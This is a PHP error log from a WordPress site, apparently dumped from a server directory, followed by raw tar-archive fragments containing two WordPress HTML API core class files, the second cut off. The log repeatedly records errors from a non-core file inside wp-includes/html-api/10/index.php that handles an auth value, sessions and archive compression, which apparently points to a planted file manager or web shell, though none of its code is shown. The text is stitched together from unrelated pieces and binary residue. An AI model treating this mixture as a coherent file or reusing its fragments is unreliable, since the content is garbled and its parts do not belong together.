[14-Feb-2026 23:42:50 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:42:50 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:45:58 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:37 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:37 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:47:59 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:47:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:30 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:33 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:56 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:48:59 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:05 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:08 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:11 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:39 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:48 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:51 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:49:54 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:00 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:09 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:12 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:15 UTC] PHP Fatal error:  Uncaught BadMethodCallException: phar "/home/homerdlh/public_html/wp-includes/html-api/10/index.php.php.tar.gz" exists and must be unlinked prior to conversion in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1178
Stack trace:
#0 /home/homerdlh/public_html/wp-includes/html-api/10/index.php(1178): PharData->compress()
#1 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:18 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:24 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:27 UTC] PHP Warning:  Undefined variable $ext in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1178
[14-Feb-2026 23:50:27 UTC] PHP Fatal error:  Uncaught Error: Call to undefined function rangkhwampanithan() in /home/homerdlh/public_html/wp-includes/html-api/10/index.php:1193
Stack trace:
#0 {main}
  thrown in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1193
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:31 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:34 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:36 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[14-Feb-2026 23:50:40 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:29:22 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:32:14 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:32:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:33:47 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:02 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:34:35 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:35:20 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:42 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:42 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:39:45 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:39:45 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:03 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 923
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:40:06 UTC] PHP Warning:  session_start(): Session cannot be started after headers have already been sent in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1220
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:40:06 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 1389
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:14 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:17 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:23 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:41:26 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Undefined variable $auth in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
[15-Feb-2026 01:42:10 UTC] PHP Warning:  Trying to access array offset on null in /home/homerdlh/public_html/wp-includes/html-api/10/index.php on line 547
PKgN\�A�&class-wp-html-text-replacement.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-text-replacement.php000064400000002601151440277760024244 0ustar00<?php
/**
 * HTML API: WP_HTML_Text_Replacement class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used by the HTML tag processor as a data structure for replacing
 * existing content from start to end, allowing to drastically improve performance.
 *
 * This class is for internal usage of the WP_HTML_Tag_Processor class.
 *
 * @access private
 * @since 6.2.0
 * @since 6.5.0 Replace `end` with `length` to more closely match `substr()`.
 *
 * @see WP_HTML_Tag_Processor
 */
class WP_HTML_Text_Replacement {
	/**
	 * Byte offset into document where replacement span begins.
	 *
	 * @since 6.2.0
	 *
	 * @var int
	 */
	public $start;

	/**
	 * Byte length of span being replaced.
	 *
	 * @since 6.5.0
	 *
	 * @var int
	 */
	public $length;

	/**
	 * Span of text to insert in document to replace existing content from start to end.
	 *
	 * @since 6.2.0
	 *
	 * @var string
	 */
	public $text;

	/**
	 * Constructor.
	 *
	 * @since 6.2.0
	 *
	 * @param int    $start  Byte offset into document where replacement span begins.
	 * @param int    $length Byte length of span in document being replaced.
	 * @param string $text   Span of text to insert in document to replace existing content from start to end.
	 */
	public function __construct( int $start, int $length, string $text ) {
		$this->start  = $start;
		$this->length = $length;
		$this->text   = $text;
	}
}
PKE�N\�V2HHclass-wp-html-decoder.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-decoder.php000064400000040464151440301140022355 0ustar00<?php

/**
 * HTML API: WP_HTML_Decoder class
 *
 * Decodes spans of raw text found inside HTML content.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.6.0
 */
class WP_HTML_Decoder {
	/**
	 * Indicates if an attribute value starts with a given raw string value.
	 *
	 * Use this method to determine if an attribute value starts with a given string, regardless
	 * of how it might be encoded in HTML. For instance, `http:` could be represented as `http:`
	 * or as `http&colon;` or as `&#x68;ttp:` or as `h&#116;tp&colon;`, or in many other ways.
	 *
	 * Example:
	 *
	 *     $value = 'http&colon;//wordpress.org/';
	 *     true   === WP_HTML_Decoder::attribute_starts_with( $value, 'http:', 'ascii-case-insensitive' );
	 *     false  === WP_HTML_Decoder::attribute_starts_with( $value, 'https:', 'ascii-case-insensitive' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $haystack         String containing the raw non-decoded attribute value.
	 * @param string $search_text      Does the attribute value start with this plain string.
	 * @param string $case_sensitivity Optional. Pass 'ascii-case-insensitive' to ignore ASCII case when matching.
	 *                                 Default 'case-sensitive'.
	 * @return bool Whether the attribute value starts with the given string.
	 */
	public static function attribute_starts_with( $haystack, $search_text, $case_sensitivity = 'case-sensitive' ): bool {
		$search_length = strlen( $search_text );
		$loose_case    = 'ascii-case-insensitive' === $case_sensitivity;
		$haystack_end  = strlen( $haystack );
		$search_at     = 0;
		$haystack_at   = 0;

		while ( $search_at < $search_length && $haystack_at < $haystack_end ) {
			$chars_match = $loose_case
				? strtolower( $haystack[ $haystack_at ] ) === strtolower( $search_text[ $search_at ] )
				: $haystack[ $haystack_at ] === $search_text[ $search_at ];

			$is_introducer = '&' === $haystack[ $haystack_at ];
			$next_chunk    = $is_introducer
				? self::read_character_reference( 'attribute', $haystack, $haystack_at, $token_length )
				: null;

			// If there's no character reference and the characters don't match, the match fails.
			if ( null === $next_chunk && ! $chars_match ) {
				return false;
			}

			// If there's no character reference but the character do match, then it could still match.
			if ( null === $next_chunk && $chars_match ) {
				++$haystack_at;
				++$search_at;
				continue;
			}

			// If there is a character reference, then the decoded value must exactly match what follows in the search string.
			if ( 0 !== substr_compare( $search_text, $next_chunk, $search_at, strlen( $next_chunk ), $loose_case ) ) {
				return false;
			}

			// The character reference matched, so continue checking.
			$haystack_at += $token_length;
			$search_at   += strlen( $next_chunk );
		}

		return true;
	}

	/**
	 * Returns a string containing the decoded value of a given HTML text node.
	 *
	 * Text nodes appear in HTML DATA sections, which are the text segments inside
	 * and around tags, excepting SCRIPT and STYLE elements (and some others),
	 * whose inner text is not decoded. Use this function to read the decoded
	 * value of such a text span in an HTML document.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_text_node( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded text node to decode.
	 * @return string Decoded UTF-8 value of given text node.
	 */
	public static function decode_text_node( $text ): string {
		return static::decode( 'data', $text );
	}

	/**
	 * Returns a string containing the decoded value of a given HTML attribute.
	 *
	 * Text found inside an HTML attribute has different parsing rules than for
	 * text found inside other markup, or DATA segments. Use this function to
	 * read the decoded value of an HTML string inside a quoted attribute.
	 *
	 * Example:
	 *
	 *     '“😄”' === WP_HTML_Decode::decode_attribute( '&#x93;&#x1f604;&#x94' );
	 *
	 * @since 6.6.0
	 *
	 * @param string $text Text containing raw and non-decoded attribute value to decode.
	 * @return string Decoded UTF-8 value of given attribute value.
	 */
	public static function decode_attribute( $text ): string {
		return static::decode( 'attribute', $text );
	}

	/**
	 * Decodes a span of HTML text, depending on the context in which it's found.
	 *
	 * This is a low-level method; prefer calling WP_HTML_Decoder::decode_attribute() or
	 * WP_HTML_Decoder::decode_text_node() instead. It's provided for cases where this
	 * may be difficult to do from calling code.
	 *
	 * Example:
	 *
	 *     '©' = WP_HTML_Decoder::decode( 'data', '&copy;' );
	 *
	 * @since 6.6.0
	 *
	 * @access private
	 *
	 * @param string $context `attribute` for decoding attribute values, `data` otherwise.
	 * @param string $text    Text document containing span of text to decode.
	 * @return string Decoded UTF-8 string.
	 */
	public static function decode( $context, $text ): string {
		$decoded = '';
		$end     = strlen( $text );
		$at      = 0;
		$was_at  = 0;

		while ( $at < $end ) {
			$next_character_reference_at = strpos( $text, '&', $at );
			if ( false === $next_character_reference_at ) {
				break;
			}

			$character_reference = self::read_character_reference( $context, $text, $next_character_reference_at, $token_length );
			if ( isset( $character_reference ) ) {
				$at       = $next_character_reference_at;
				$decoded .= substr( $text, $was_at, $at - $was_at );
				$decoded .= $character_reference;
				$at      += $token_length;
				$was_at   = $at;
				continue;
			}

			++$at;
		}

		if ( 0 === $was_at ) {
			return $text;
		}

		if ( $was_at < $end ) {
			$decoded .= substr( $text, $was_at, $end - $was_at );
		}

		return $decoded;
	}

	/**
	 * Attempt to read a character reference at the given location in a given string,
	 * depending on the context in which it's found.
	 *
	 * If a character reference is found, this function will return the translated value
	 * that the reference maps to. It will then set `$match_byte_length` the
	 * number of bytes of input it read while consuming the character reference. This
	 * gives calling code the opportunity to advance its cursor when traversing a string
	 * and decoding.
	 *
	 * Example:
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 0 );
	 *     '…'  === WP_HTML_Decoder::read_character_reference( 'attribute', 'Ships&hellip;', 5, $token_length );
	 *     8    === $token_length; // `&hellip;`
	 *
	 *     null === WP_HTML_Decoder::read_character_reference( 'attribute', '&notin', 0 );
